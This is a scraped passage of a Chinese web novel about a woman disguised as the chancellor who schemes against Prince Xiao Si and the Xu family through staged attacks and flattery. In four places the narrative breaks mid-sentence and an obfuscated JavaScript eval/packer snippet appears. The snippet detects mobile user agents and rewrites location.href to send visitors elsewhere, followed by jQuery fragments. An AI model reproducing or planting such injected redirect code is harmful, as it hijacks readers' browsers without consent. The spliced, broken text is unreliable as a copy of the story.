l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105303|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未将伤药带在身上，便作罢了。 捡起脚边已是千疮百孔的伞，她葱白的指尖摩挲着伞骨上被砍出的刀痕，嘴边叹息被吞没在了雨声之中。 好好的宝贝，就这么糟蹋了。 猜到今日可能下雨，却没猜到伞会遭此劫难，看来雨停之前，他二人都别想离开此处了。 日头渐斜，约莫酉时已过。 禅堂外，积水汇成细流沿长阶淌下，斜飞的雨水不停敲打着枝叶，月白色身影就这么静立于檐下，一双杏眸望着雨幕出神。 而禅堂内处，玄青色身影倚墙而坐，望向那道清瘦背影的眼神让人难以捉摸。 眼前这个人……究竟是谁？ 天色逐渐暗下，檐下冷风吹得人脊背发凉，明姝出门前穿得有些单薄，指尖被冻得僵硬，只能硬着头皮回到禅堂。 堂内并无生火的木柴，少得可怜的月光只能堪堪照量彼此的轮廓，明姝不知萧肆是否已经歇息，轻手轻脚地寻了处位置坐下。 二人之间隔着佛像，说远不远，说近却像隔着一条天堑。 不单是萧肆，明姝肩上的伤也随着雨天的潮湿加重了疼痛，她有些无力地枕在膝上，昏昏欲睡时，被对面突然响起的脚步声扰醒。 “王爷……？”明知外面大雨滂沱无法出行，她还是没忍住唤了一声，担心萧肆就这么走了，将她一人留在这满地尸体的禅堂。 脚步声有来有回，萧肆搜遍了刺客的身，终于开口：“本王的玉佩被盗走了。” 明姝怔了下，“如此说来，那些刺客是冲着钱财来的？所幸只是一枚玉佩，回头还可以再……” “那是本王母妃的遗物。” 明姝霎时哽住。 她来之前打听过，今日是惠妃的忌日，也是萧肆的生辰，他每年这个时候都会独自来这禅堂中，一待便是一整日。 那玉佩既然是遗物，对他来说定是极重要的。 “十六年前，本王亲眼看着她在此悬梁自尽，她走时身无长物，留下的只有那枚玉佩。丞相双亲健在，家庭美满，应是不懂那种感觉。” 萧肆的声线听不出什么情绪，仿佛只是在讲述一件平常事，但明姝却清楚，若真的视若平常，他也不会年年来此处祭奠，日日将遗物带在身上。 “王爷节哀，那些贼人十有八九会将东西当掉，明日派人去京中当铺走一趟，兴许就能把东西找回来了。” 算算时间，十六年前的萧肆不过还是个十岁的孩童，亲眼看见自己的母亲悬梁自尽，该是一种怎样的苦楚。 她喉咙微动，不由自主地回想起上一世父母在自己面前被奸人捅穿心脏，胸口倏然有些喘不过气来。 那种感觉，其实她是懂的。 所幸四周昏暗，萧肆看不到她泛白的面庞，二人一个坐在这头，一个坐在那头，谁也没再开口，禅房中只剩风打枝条雨打叶的声音。 再醒来，身边人不知何时已经离开，禅堂中只剩她一人与满地横尸，即便已经待了一夜，睁眼后还是被吓得不轻。 大雨已停，日光挑破云层照在禅房一角，生出几分融融暖意，明姝起身掸了掸衣上灰尘，踏着明明暗暗的水洼，一刻也不多留地下了山。 行至无人处，从转角走出一位蒙面男子，正是昨日领头刺杀的彪形大汉。 他恭敬拱手，将一枚玉佩交到她手中。 “丞相大人交代的事都已办好，我等这就离开京城，绝不再出现。” 18. 玉佩 从丹青祠到相府，明姝一路上都心不在焉，下了马车才恍觉玉佩被攥在手中捂得温热。 “大人！” 白九担心得一宿未眠，隔一柱香的功夫便要到府门外望上一望，终于功夫不负有心人，把她给望了回来。 见人安然无恙，心里的石头总算落了下去，回到屋里关上门才敢问，“大人昨夜去哪儿了，怎弄得这般灰头土脸，那秦王没将您怎么样吧？” 明姝轻摇了摇头，“无事，只是雨下得大，被迫在寺中待了一夜。” 白九见她手中无伞，又问：“记得大人出门前带了伞，莫不是半路弄丢了？” “坏了。” 这也是她没想到的。 昨日她去丹青祠，让萧肆看账册是假，看她伪造的伤疤才是真，所谓的刺杀不过是事先安排好的戏码。 只是没想到她的宝贝伞被拿去当了武器，如今连个全尸都没留下，人也被雨困在丹青祠整整一夜。 除此之外，一切倒还算顺利。 至于私铸兵器一事，连萧肆都说账册没有问题，那必然是无从下手了。 白九看到她手中攥着的玉佩，纹样瞧着甚是眼生，“这是从秦王身上取来的东西吧？我这便拿去砸碎丟了，免得日后东窗事发。” “等等……” 明姝从她手中将玉佩拿回，“你先去忙吧，此物放在我这儿便好。” 在白九的印象中，自家大人来到京城后一言一行都谨小慎微，绝不给人留下把柄，如今竟要留着这般隐患。 “那我去给大人准备些干净衣裳。” “好。” 待白九离开，明姝垂眼看着手中玉佩，心情有些复杂。 先前让那些刺客从萧肆身上取一样东西，好让萧肆错以为他们只是单纯为了财物，从而撇清自己的嫌疑，可没想到这一取，竟取走了惠妃的遗物，倒让她有些过意不去了。 思及此，她轻叹了口气，将玉佩仔细收进木匣。 还是寻个时机将东西交给京中当铺保管吧，只要萧肆有心去寻，便能早日物归原主。 …… 那厢，陆尧一早便去宫中请了梁太医，后者看到萧肆手臂上的伤，一个劲地摇头叹息。 “老夫一猜便知殿下没好好养伤，再这么下去，这手臂断了也说不准。” 短短两个月的时间，萧肆的旧伤就复发了两次，一次是在醉香楼下被人砸的，一次是昨日跟刺客打斗时伤的。 想起昨日之事，萧肆顺势问起：“梁太医可还记得，丞相胸口的伤疤具体在何处？” 秋山狩猎时，他见明玦的左胸并无伤疤，昨日遇刺时，却看到那伤疤出现在右胸。 梁太医想也不想便脱口而出：“左胸口，第二根肋骨处。” “确定？” “丞相的病甚是蹊跷，老夫行医一辈子也只遇见过那么一次，自然记得清楚。” 梁太医替他将骨裂处重新上药包扎，边收拾药箱边抬头看他一眼，“不过，王爷与其操心别人的伤，倒不如先操心操心自己。” 又交代了几句后，梁太医便提着药箱回宫去了，萧肆原本的衣裳沾了不少血，侍女取来一件鸦青色广袖长袍为他更衣，系玉佩时听他淡声道：“不必了。” 侍女还以为是自己毛手毛脚得罪了他，连忙跪地求饶：“王爷恕罪，王爷若是不喜欢这些，奴婢这就去拿些新的来！” 萧肆只道无事，将人遣了下去，又吩咐陆尧：“晚些时候派人去京中各大当铺走一趟，找找有没有本王平日带的那块。” “王爷这是把玉佩给弄丢了？” 陆尧觉得纳闷，只是块再普通不过的玉佩罢了，以前也没见他这般挑来捡去，“这东西府里要多少有多少，丢了换一块便是，王爷何故花费工夫去找？” “自是要找。”萧肆随手从银盘中拿起一块，粗粝的手指摩挲着其上花纹，“丞相喜欢演戏，本王便陪他演上一演。” …… 又在府中静养了几日，明姝的身子已经好了大半，担心小皇帝查办私铸兵器一事会触怒太后打草惊蛇，便一日也不耽搁地进了宫。 徐家是太后心腹，说到底，此事小皇帝不能插手，也插不了手。 “吁——” 马车途径龙子湖时停了下来，而后传来车夫的声音：“大人，前面的路堵住了。” 明姝抬起帘纱一角，目光越过一众围观百姓朝街上看去，只见一丫鬟打扮的姑娘面庞青紫，被男子拖拽至众目睽睽下打骂。 “胆大包天的贱婢，也不瞧瞧自己是什么货色，还想飞上枝头变凤凰！原本念在你在府中侍奉多年，才留你一条狗命，你倒好，一而再再而三地勾引本少爷，还害得本少爷被责罚！既然这般不知羞耻，我便让你好好伺候伺候那些男人！” “公子，蒹葭没有！您明明知道蒹葭是冤枉的啊公子！” “不害臊的东西，像你这种女人我见多了，爷这就送你去个好地方！” 男子约莫是及冠的年纪，身着玉带华服，口中却尽是些不入耳的粗鄙之语，女子哭喊着求饶，扯着他的衣角求他宽恕，却被一路拖拽进了青楼。 “以后你就好好待在这儿伺候男人，别再让爷再在徐府看见你！” 主人教训家仆，旁人本不好插嘴，明姝正欲放下轿帘，却听男人提起徐府，手中动作一顿。 “此人口中的徐府是……” 车夫道：“大人初到京城有所不知，此人是徐国公之子徐文钰，平日里嚣张跋扈惯了，两年前还打断了县尉儿子的一条腿，险些连累整个国公府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105304|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，被禁足整整一年，刚出来时还老实些，如今又原形毕露了。” 原来这便是徐家的公子。 她这些天一直暗中调查国公府，也算有些耳闻。 徐文钰将人拖进青楼里，引得一众百姓引颈相望，明姝从怀中掏出钱袋，大致清点了一番，“这路一时半会儿应是走不了了，劳烦先生在我下车后替我办一件事，事成之后另有重谢。” 明姝嘱咐几句后便下了马车，天色尚早，从此处步行至神武门耽误不了太长时间。 只是她并未察觉，被堵在同一处的还有萧肆的马车。 眼看明姝的身影没入人群之中，陆尧向车中人询问：“王爷，咱们也绕路去神武门吧？” 回应只有淡淡二字：“不急。” 约莫过了半盏茶的时间，徐文钰终于出了青楼，掸了掸衣服上被抓出的褶皱，脸色不怎么好看地离开了。 看热闹的百姓逐渐散去，街道又恢复了往日通畅，相府的马车并未随流而行，反倒是车夫揣着钱袋下了马。 “这人怎么……” 陆尧注意到车夫进了青楼，心中甚是纳闷，回头欲问萧肆，却见对方已阖上眼睛闭目养神。 “走吧，进宫。” 这般气定神闲，定是又看穿了丞相的心思。 陆尧猜不透他们这些人心里藏的弯弯绕绕，努了努嘴，只有驾车的份。 时隔一月入宫，朱漆红墙外的梅树已蓄上几支花苞，秋叶落在青石御窑砖铺就的小径上，被风吹卷起不知去向何处。 如今的明姝已不同往日。 原先她空降至丞相之位，引起了许多朝臣的妒忌和不满，觉得她年纪轻轻难堪大业，德不配位迟早摔个头破血流。 但秋山狩猎时，她舍身救了小皇帝一命，又被太后重重嘉赏，如今满朝文武见了她都要凑上来巴结几句，殷切询问她康复与否。 左右应付下来，明姝只觉脸都要笑僵了，心中祈祷着早朝快些开始。 萧肆来得迟了些，高大的身量在她旁侧站定，二人相互颔首致意后便再无交谈。 明姝微微侧目，注意到他今日腰间空无一物，垂落的广袖下，绑着夹板的左臂隐约透出血痕，看样子伤得不轻。 一想到对方是为了护她这个“罪魁祸首”才会丢了玉佩又受伤，她心中一时有些过意不去。 不止如此，醉香楼外受伤的那次也是拜她所赐。 似是察觉到身旁人的目光，萧肆冷不防开口：“丞相有话想说？” 低沉的嗓音带着似有若无的药香拂过耳际，惊得她睫羽微颤，不大自然地将目光挪向别处，“没、没有。” 殿外适时响起一声“圣上驾到”，终止了微妙而尴尬的气氛，明姝暗暗松了口气，跟着众人一起拱手参拜。 19. 逾矩 永安国近来诸事顺遂，早早便散了朝，应付完一众官员的奉承后，明姝拍了拍有些僵硬的面颊，径直去了乾清宫。 萧子瑜正百无聊赖地用硬叶编着蛐蛐，听到脚步声，抬头看了她一眼，而后不情不愿地翻开书本。 “今日从哪儿开始讲？早些讲完，朕还要去找皇叔习武。” 态度与先前并无不同。 明姝替他将书向前翻了几页，唇瓣轻抿，斟酌着开口，“秦王殿下前不久遇刺，手臂旧伤复发，这几日……应是不能动武了。” 说到底，是她自导自演害得萧肆又丢玉佩又受伤，若他再像上次那般提前拆了竹板，这手臂怕是真得废了。 “皇叔受伤了？”萧子瑜皱了皱小脸，“皇叔武功高强，一般人难伤他分毫，丞相定是想诓骗朕读书，才编了这么个谎。” “惠妃忌日时，秦王在丹青祠遇刺，对方人多势众，秦王又要顾及臣的安……” 说到一半，明姝开始懊悔自己口快，萧子瑜日日缠着萧肆，定知道他受伤的事。 萧子瑜看她的眼神愈发古怪，“这么说，那日和皇叔一同被困在丹青祠的人是丞相了？” 早在明姝将他抱在怀中挡箭时，他便发觉她是女子了。 大雨天寺庙里，孤男寡女共处一室…… 萧子瑜又将她从头到脚打量了一番，虽说相貌才识都远超寻常女子，还救过他的性命，但—— 想把皇叔抢走的都是坏女人！ 皇叔日后若是娶了夫人，有了自己的孩子，定不会再像从前那样宠着护着他了！ 思及此，萧子瑜握紧了小拳头，那双黝黑的眼珠子里多了几分敌意。 明姝自然不知道他心里那些小九九，解释道：“其实，臣那日去见秦王是为了商议私铸兵器一事，不知陛下近来可有着手查办？” “朕既然答应过那些百姓，自然不会食言，不过……” 萧肆松了拳头，眼中轻闪了几下。 他虽是皇帝，但年纪尚小，太后垂帘听政，朝中大小事务都得她点头才行。 两年前，青州刺史仗着自己是太后的表亲，大肆侵吞朝廷赈灾款，害得百姓苦不堪言，他忤逆太后的意愿，暗中下令将人处死，惹得太后大发雷霆，罚他在宗庙跪了一天一夜，不准他再擅自决定朝政。 自那之后，他这个皇帝更是跟活傀儡没什么两样，所以才会讨厌学这些劳什子的治国之道。 反正也派不上用场。 他张了张嘴，刚想继续说下去，却听明姝道：“私铸兵器一事恐牵扯到太后，陛下涉世尚浅，贸然出面定会惹得太后不悦，为了陛下着想，此事还是交由臣来查办吧，陛下权当不知便可。” “……”萧子瑜手中动作一顿，抬眸盯着她，“为朕着想？” 明姝理所应当地点了点头。 萧子瑜从小生活在宫中，见过太多的勾心斗角，人人都把“为国着想”“为陛下着想”挂在嘴边，实际上却是为了自己的利益拼命往上爬。 原以为秋山挡箭也是明姝为了在朝中站稳脚跟的手段，但如今看来，她好像与那些人不太一样。 说白了，明姝也是太后一派的人，与他的立场大同小异，甚至在朝中并无其他依仗，一旦得罪了太后，后果可想而知。 明眼人都知道太后把持朝政，讨好太后比讨好他这个傀儡皇帝有用的多，可她却…… 萧子瑜低下头去，继续编着手里的蛐蛐，但心思已全然不在蛐蛐上，“丞相为何要为朕着想？” 明姝被问得一怔，在她看来，身为人臣，本就应该将皇帝的安危挂在心上，更何况对方只是个八岁的孩子，更是该小心翼翼护着才对。 难道是她说错了话？ “若陛下觉得臣逾矩，臣日后定当谨……” “喏。” 对方突然递来一只用草编蛐蛐，明姝愣了下，伸手地指了指自己，“陛下是要将此物送给臣？” “编得不好，不想要了，丞相若没地方收，顺道丢了便是。” “……谢陛下。” 明姝双手接过草编蛐蛐，左看右看也没看出哪里编得不好，有模有样的，简直和街上卖的没什么分别。 她一向喜欢这些可可爱爱的小玩意，那些官员们送的金银财宝，反倒不如这蛐蛐有意思。 萧子瑜偷偷瞟了她一眼，见她眉眼间的喜欢不像是装出来的。 “丞相可有心上人？” 突如其来的问题让明姝怔住，脑子还没转过弯来，便又听他问：“丞相觉得皇叔如何？” 不过几句话的功夫，萧子瑜就改变主意了。 皇叔这辈子总要娶妻生子的，与其找别家的姑娘，倒不如娶了丞相，毕竟她会为自己着想，将来成了皇嫂，还能替自己糊弄糊弄学业应付太后。 萧子瑜到底还是个孩童，思维甚是跳跃，转着一双黝黑的眼珠，心里的小算盘打得飞快。 至于明姝女扮男装一事要如何解决，他完全没想过。 “皇叔这个人虽然有时候凶巴巴的，但实际上面冷心善，论谋略论武……” 明姝微微前倾，一只手贴在他的额头上试温。 “不烫呀。” 她实在无法将“心上人”与“萧肆”联系在一起，还以为是小皇帝生了病，已经严重到开始胡言乱语了。 萧子瑜面上一红，“啪”地一声将她的手打落，“这、这回是真的逾矩了！” 明姝连忙将手收回，“臣担心陛下龙体有恙，一时心急，还请陛下赎罪。” “……罢了。”萧子瑜有些不自然地别过脸去，将书本往身前挡了挡，“时候不早了，还是快些念书吧。” “是。” 乾清宫外落叶簌簌，乘风自亭廊下翻飞而去，苦了来回洒扫的宫人，拿着笤篱身形碌碌。 讲完今日的课业后，已是午时有余，明姝想起今早在街上遇到的可怜姑娘，正欲起身离开，却被萧子瑜叫住。 “等一下……” “陛下还有什么要吩咐的吗？” 萧子瑜难得露出一副严肃认真的表情，一字一句道：“秋山时你替朕挡了一箭，朕不喜欢欠人情，所以……朕会把这份恩情还给你。” 明姝笑笑，拱手行了一揖。 “如此，臣便谢过陛下了。” 她其实并不看重这些，当初挡箭发自本能，本就没想以此换来什么回报。 回到相府已是未时。 听白九说，那位叫蒹葭的姑娘已经在后院里恭候多时了，正巧明姝还未用午膳，便将人叫来了一起。 蒹葭便是今早被徐文钰拖进青楼的姑娘，明姝下了马车后，车夫便按她的意思将人赎了出来，悄悄送来了相府。 虽然已经换了身干净衣裳，但脖子上手腕上依旧是藏不住的淤青，也不知在徐府受了多少毒打。 “不必拘谨，坐下一起吃吧。” “不不不，奴婢还是站着吧……” 明姝唤白九拿来一只空碗，亲自夹了些菜进去，“无妨，相府只有我与白九，蒹葭姑娘不必这般拘谨。” 蒹葭怯生生地从她手里接过碗筷，让她有些意外的是，眼前人虽贵为丞相，却丝毫没有仗势凌人的架子，就连吃食都极为简单清淡。 与国公府截然不同。 国公府的一餐一食都极尽奢侈，下人们身份卑贱，是绝对不能和主人一同用膳的。 蒹葭有些受宠惹惊，拿着碗筷的手颤个不停，她与相府并无交集，不知明姝为何会花钱给她赎身，还待她这般和善。 对方一刻不表明意图，她便一刻不得心安，终于扑通一声跪倒在地：“丞相的大恩大德蒹葭铭记于心，若有吩咐，蒹葭定当牛做马报答您的恩情！” 一番接触下来，明姝觉得此人并不像徐文钰口中所说的那般不堪。 “实不相瞒，我来京不久，在朝中举目无亲，想与徐家结交一二，又苦于对徐家人的喜好知之甚少……” 蒹葭很快便明白了她的意思，“回丞相，蒹葭在国公府上侍奉已有三年，丞相想知道什么，蒹葭定知无不言，言无不尽。” “不急，这段日子你便在相府住下吧，平日里只需跟我讲讲国公府的事，日后若是想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105305|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他处，我也不会拦着你。” 明姝将人从地上扶起，无意碰到她手腕上的淤青，蒹葭疼得浑身一颤，眼尾霎时红了大半。 “抱歉，我不知道你身上有伤……” 蒹葭缓缓挽起袖子，不仅是手腕，整条胳膊都是被鞭子抽打后留下的痕迹，触目惊心。 “实不相瞒，这些伤都是二公子打的……”她紧咬唇瓣，强忍着眼中打转的泪花，“今早之事，想必大人已有所耳闻，但蒹葭从未勾引过二公子，是二公子他……强迫了我，后来我怀了身孕，老爷知道后大发雷霆，二公子却反过来说是受了我的勾引，还当着众多人的面将我鞭打了一顿，赶出了徐府。” “二公子好女色，不只是我，府中许多姑娘都曾被他强迫过，但二公子一直想讨得老爷器重，每每闯下祸事都不敢承认，反而将过错推给旁人……” 白九听得瞪大了眼睛：“岂有此理，早听说那徐文钰是个浪荡子，京城里的年轻姑娘们都避之不及，原来竟这般禽兽不如！蒹葭姑娘你放心，日后你就留在相府，不会有人欺负你的。” 明姝鸦羽般的睫毛微垂，遮去了眼底的算计。 徐文钰…… 私铸兵器之事急需一个突破口，而徐文钰，或许就是最合适的人选。 …… 多日后，文曲楼。 “听说了吗，最近文曲楼里来了位弈棋高手，说只要有人能在他手里赢上一回，他便将棋盘双手奉上，那可是有价无市的藏水凝玉盘啊！” “怎会不知，这事都快传遍半个京城了，就连国子监的司业先生也没从他手里讨到便宜，啧啧……以前也没听说过京城还有这等高手。” “哎，文钰，你也会下棋，先前可有听说过？” 说话的分别是礼部主事家的大公子曹休和水部司郎中家的三公子朱弘和，虽然都有个在朝廷当官的爹，但跟徐文钰比起来，还是差了十万八千里。 “弈棋高手？”徐文钰不以为意地嗤了声，与二人勾肩搭背一同走进文曲楼，“依我看啊，八成是使了什么见不得人的把戏，正好小爷今日闲来无事，走，会会他去。” 自打弈棋高手在京中声名鹊起，慕名而来的客人几乎踏破了文曲楼的门槛，刚一上楼，便跟一位腿脚不便的七旬老人撞了个满怀。 “老东西，走路不长眼吗？！” 徐文钰一脸嫌弃地将人推开，老人家身子骨孱弱，幸好有路人搀扶才没摔下楼梯。 “真晦气……这可是小爷的新衣裳。” 徐文钰掸了掸衣襟，嘟囔着上了二楼，周围人认出他是国公家的少爷，到了嘴边的苛责只能吞回肚子里。 三人都是这一带出了名的纨绔，若不是嫌命长，谁也不敢去招惹。 二楼原本也被围得水泄不通，见他们来，都纷纷后退让出一条路来。 转过两扇水墨屏风后，传闻中的弈棋高手正在与人对弈，藏水凝玉盘上黑白棋子落定，局势已无转圜之地。 不出三个回合，执黑棋的一方宣告落败。 “承让。” 周围一片鼓掌叫好，徐文钰本想瞧瞧是何方神圣，却见那弈棋高手身着白衣，头戴斗笠，不以真面容示人。 “呵，故弄玄虚。” 曹休道：“那棋盘瞧着确实是个宝贝，文钰，你爹不是从小就请了师父教你下棋吗，要不你去试试？” 朱弘和也跟着附和：“是啊文钰，你若是赢了此人，那就相当于赢了整个京城的弈士，国公大人若是知道了，兴许就不追究你跟那贱婢的事了。” 提起蒹葭，徐文钰便觉得气不打一出来，他因私通之事被罚在祠堂跪了三天三夜，如今膝盖还红肿着。 今早出门前碰见了爹，那更是半点好脸色都捞着。 前人落败离席，后来的人刚坐下便被徐文钰拖拽到一旁。 “起开，这局小爷来。” 斗笠下一双杏眼光华内敛，明姝透过帷幔看到面前的男人，唇角轻掀道了一个“好”字，白玉般的指节夹起一枚白子，落定天元。 钓了这么久鱼，也是时候收竿了。 20. 玉桂露 关于国公府的事，明姝已经从蒹葭口中听了个七七八八。 徐文钰是徐国公第二个儿子，大哥徐文英勤勉好学，三年前赴青州就任，如今已官至通判，徐文钰则从小纨绔惯了，请了许多德高望重的夫子到府上教书也不见成效。 如此便罢了，偏还是个虚荣至极的性子，见不得父亲张口闭口都是大哥，一门心思想要得到器重，结果大都是些歪门邪道，给国公府蒙了不少羞。 唯独，这下棋还算拿的出手。 明姝在此摆了数日的棋局，为的就是引他上钩。 她自幼学习琴棋书画，师从江南一带棋艺最为精湛的老师，再加上时常与阿兄切磋，放眼整个京城都鲜有对手。 这几日遇到的，大多是些附庸风雅的臭棋篓子，徐文钰虽比他们强上一些，但也只是中上游的水平。 棋盘上，黑子与白子紧咬不放，明姝假意中了对方几个陷阱，出手也开始变得犹犹豫豫。 曹休用手肘戳了戳身旁的朱弘和，“快看，文钰好像要赢了！” 徐文钰是京城出了名的纨绔，起初谁也没觉得他能讨到什么便宜，可几番拉扯下来，黑子竟然逐渐占据上风，最后以微弱的优势胜过了白子。 一声轻叹自帷幔后传出：“公子棋艺精湛，在下输得心服口服。” 在众人艳羡的目光下，明姝将棋盘双手奉上。 “一言既出驷马难追，既然公子赢了，这藏水凝玉盘便是公子的了，日后若有机会，在下再向公子讨教。” 徐文钰还未反应过来，两个朋友已经一左一右围上来祝贺：“厉害啊文钰！没想到你居然这么深藏不露！” 能在众目睽睽之下赢了所谓的弈棋高手，这等殊荣，足以吹嘘上十天半个月。 徐文钰心中腾升起一股前所未有的成就感。 若爹知道了，定会对他刮目相看，还有那些背地里看不起他的，觉得他不学无术游手好闲的人，这回可算是狠狠打了他们的脸！ 瞧见徐文钰那扬眉吐气的模样，明姝不禁牵了牵唇角。 …… “什么？大人竟将藏水凝玉盘送给了徐文钰？！” 明姝笑着点了点头，她其实心疼的不得了，但总归舍不得孩子套不着狼。 白九实在不明白：“大人这几日得了空便往文曲楼跑，难道就是为了把藏水凝玉盘送出去？” 相府虽不缺金银财帛，但琴棋书画才是明姝的心头好，尤其是那藏水凝玉盘，不知多少弈士做梦也想收藏，结果却到了徐文钰这个纨绔手中。 蒹葭也是一头雾水：“徐二公子平日里只喜欢花天酒地，下棋也是被老爷逼着才学的，丞相就这么把棋盘送出去，实在是有些暴殄天物。” “是啊，大人还整日带着斗笠，那徐文钰白捡了个宝贝，到头来连您是谁都不知。” 两人一左一右替明姝觉得不值，而明姝只是笑笑，并未解释。 翌日，国公府派人送来，说是徐二公子请丞相到文曲楼一叙。 其实，明姝事先请人在棋盘底部刻了一个“玦”，这等珍品再配上这个字，只要徐文钰稍微动些脑子，便能猜出她的身份。 此人虽有个位高权重的爹，但自身并无一官半职，平日鲜少能接触到朝廷官员，能与高高在上的丞相结交，怕是做梦都要笑醒。 说到底，明姝是瞧准了他爱慕虚荣的性子，这才第二日便按耐不住找上了门。 马车停在文曲楼外，今日的明姝未带斗笠，只一身月白色锦袍从容赴约。 二楼雅间内，徐文钰早已派人准备好了糕点吃食，可见对她这个客人颇为重视。 “徐兄，我们又见面了。” 徐文钰从未见过那位江南来的丞相是何模样，但见到明姝的第一眼，便能从她温润而矜贵的气质中断定自己没认错人。 于是殷勤上前，将人请到位子上，“丞相大人，快快请坐。” 明姝注意到他今日还特意带了藏水凝玉盘，“徐兄不但棋艺精湛，还聪慧过人，只见一面便认出了明某。” “哪里哪里，大人过誉了，我是看到棋盘上刻的字，才侥幸猜出了您的身份。” 徐文钰嘴上谦逊，心中早已被她三两句话夸得飘飘然，“昨日大人说要与我讨教棋艺，我便将棋盘一并带了来，对了，还有这玉桂露，也是我们国公府上珍藏的佳品。” 说着，忙不迭起身为她斟了一杯。 “徐兄有心了。” 二人一边下棋一边叙话，明姝从他口中探听出不少有关徐家的事，时不时再吹捧上几句，把徐文钰夸得沾沾自满，甚至快要忘了自己是谁。 “听过徐兄的兄长在青州担任通判，徐兄这般耳聪目明，何不让国公大人在朝中也为你谋个一官半职？” 徐文钰先前从未想过当官，如今跟明姝一番交谈下来，还真觉得自己有几分本事，不当官可惜了。 不过……他最近闯了不少篓子，害得徐家跟着蒙羞，再不做点什么挽救一下，他爹怕是再连他这个亲儿子都不认了，遑论给他求个官职。 如今最好的办法，就是抱紧丞相这棵大树，能得到丞相的赏识，爹也定会高看他一眼。 黑子落定后，白子迟迟未动，徐文钰试探着唤了声：“大人？” “抱歉，方才出神了。”明姝牵出一个略显僵硬的笑，伸手落下一枚白子。 “看大人脸色有些疲惫，可是遇到了什么烦心事？” “果然，什么都逃不过徐兄的眼睛。”明姝叹了口气，斟酌着解释，“实不相瞒，永州蝗灾的消息传开后，朝中官员们开始争相囤积米粮，眼下京城米价飞涨，百姓苦不堪言，我身为丞相，虽想为百姓解忧，但凭一己之力，实在难以跟众多官员们抗衡。徐兄聪慧，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105306|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知有没有好的法子？” “这个……” 徐文钰方才还被夸得得意忘形，以为自己才智过人，如今真遇上了问题，脑子里半点儿法子都想不出，只能随口胡编：“要不……用国库里的银子买下那些官员手里的米粮，再降价卖给百姓？” “这法子倒是不错，但总归不是长久之计，官员们若是尝了甜头，日后定会更加大肆囤积。” “那就……威胁他们低价抛售？谁若不从，便到陛下面前参上一本？” “……”明姝哽了哽，早知对方胸无点墨，却没想到愚昧到了如此地步。 兜兜转转，还得她出言提醒：“徐兄的意思是，先想办法说服几位官员抛售米粮，让米价降下一些，其他官员看到后，定会担心东西砸在自己手里，然后争相抛售？” 徐文钰大喜：“对，对！我就是这个意思！一旦米价有下降之势，那些官员定会惴惴不安，担心米价越降越低，坚持不了几日便会将手里囤积的全都卖出去！” 明姝连声感叹“妙极了”，眉眼间的忧愁一扫而空，“徐兄果真有法子，明日我便去几位官员府上走一趟，想来用不了多久，京中的米价就能恢复正常了，到时百姓们日子好起来，还得多谢谢徐兄呢。” “哎，丞相大人谬赞了，来来来，我敬大人一杯！” 徐文钰只顾为自己想出的妙计沾沾得意，没注意到对方眼底一闪而过的精光。 明姝淡然一笑，端起琉璃盏与他相碰，入喉的一瞬才发觉这所谓的玉桂露不是茶，而是酒。 为了不扫对方的兴致，只能轻呷几口做做样子。 她不像阿兄那般碰不得酒，但酒量实在一般，只几口便觉得胃里火辣辣的，脸上也有些发烫。 幸好，还不至于喝醉。 放下酒盏，她故作犹豫地开口：“我平日行事低调，弈棋一事和今日之事……” 徐文钰立刻心领神会：“我懂，我懂，我定不会把这些事说出去的！” “如此，便谢谢徐兄了。” 二人随后又聊了些旁的，直至国公府的小厮前来通报，说老爷正在到处找他，徐文钰这才依依不舍地辞别，约定日后有机会再一起切磋棋艺。 转眼，雅间里只剩下明姝一人。 她起身走到窗边，亲眼看着徐文钰上了马车才松下一口气。 昧着良心将一个不学无术之人夸得天花乱坠，真真不是件容易事。 凉风拂面而过，吹起她耳边一缕发丝飘动，也吹散了几分醉意。 待清醒了七七八八，她转身正欲离开，却撞入一个清冽而结实的胸膛。 萧肆的嗅觉比常人灵敏不少，甫一靠近，便嗅到了她身上的酒味，一只手掌按在她的肩头，微微俯下身去。 低沉的声音夹杂着几分玩味落入耳中：“本王没记错的话，丞相大人应该不能喝酒吧？” 21. 借刀杀人 明姝脑中霎时空白一片。 许是受了酒的影响，反应不如平时那般灵敏，半晌才想起将人推开。 指尖触到对方织金蟒纹的衣襟，她下意识后退半步，腰际玉佩撞在檀木案几上发出清脆声响。 “王爷怎么来了？” 